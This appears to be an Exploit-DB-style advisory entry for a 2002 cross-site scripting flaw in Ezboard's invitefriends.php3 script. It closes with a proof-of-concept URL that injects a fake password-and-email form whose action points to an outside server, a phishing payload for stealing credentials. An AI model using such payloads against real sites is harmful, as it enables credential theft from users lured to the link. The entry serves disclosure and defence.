Ezboard Cross-Site Scripting Vulnerability

vendor:

invitefriends.php3

by:

SecurityFocus

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: invitefriends.php3

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unknown

2002

Ezboard Cross-Site Scripting Vulnerability

The 'invitefriends.php3' script of Ezboard has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on user-supplied URI parameters. This issue could be exploited to cause hostile HTML and script code to be rendered in the browser of a user who is enticed to visit a malicious link to the vulnerable script.

Mitigation:

Input validation should be performed to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8519/info

The 'invitefriends.php3' script of Ezboard has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on user-supplied URI parameters. This issue could be exploited to cause hostile HTML and script code to be rendered in the browser of a user who is enticed to visit a malicious link to the vulnerable script.

It should be noted that it is currently unknown which versions of Ezboard are affected by this vulnerability. This bid will be updated as further information is made available. 

http://www.example.com/invitefriends.php3?action=http://www.server.org&yourName=%22%3E%3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3
Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput%20type=text%20name=mail%3E%3C/form%3E%3C!--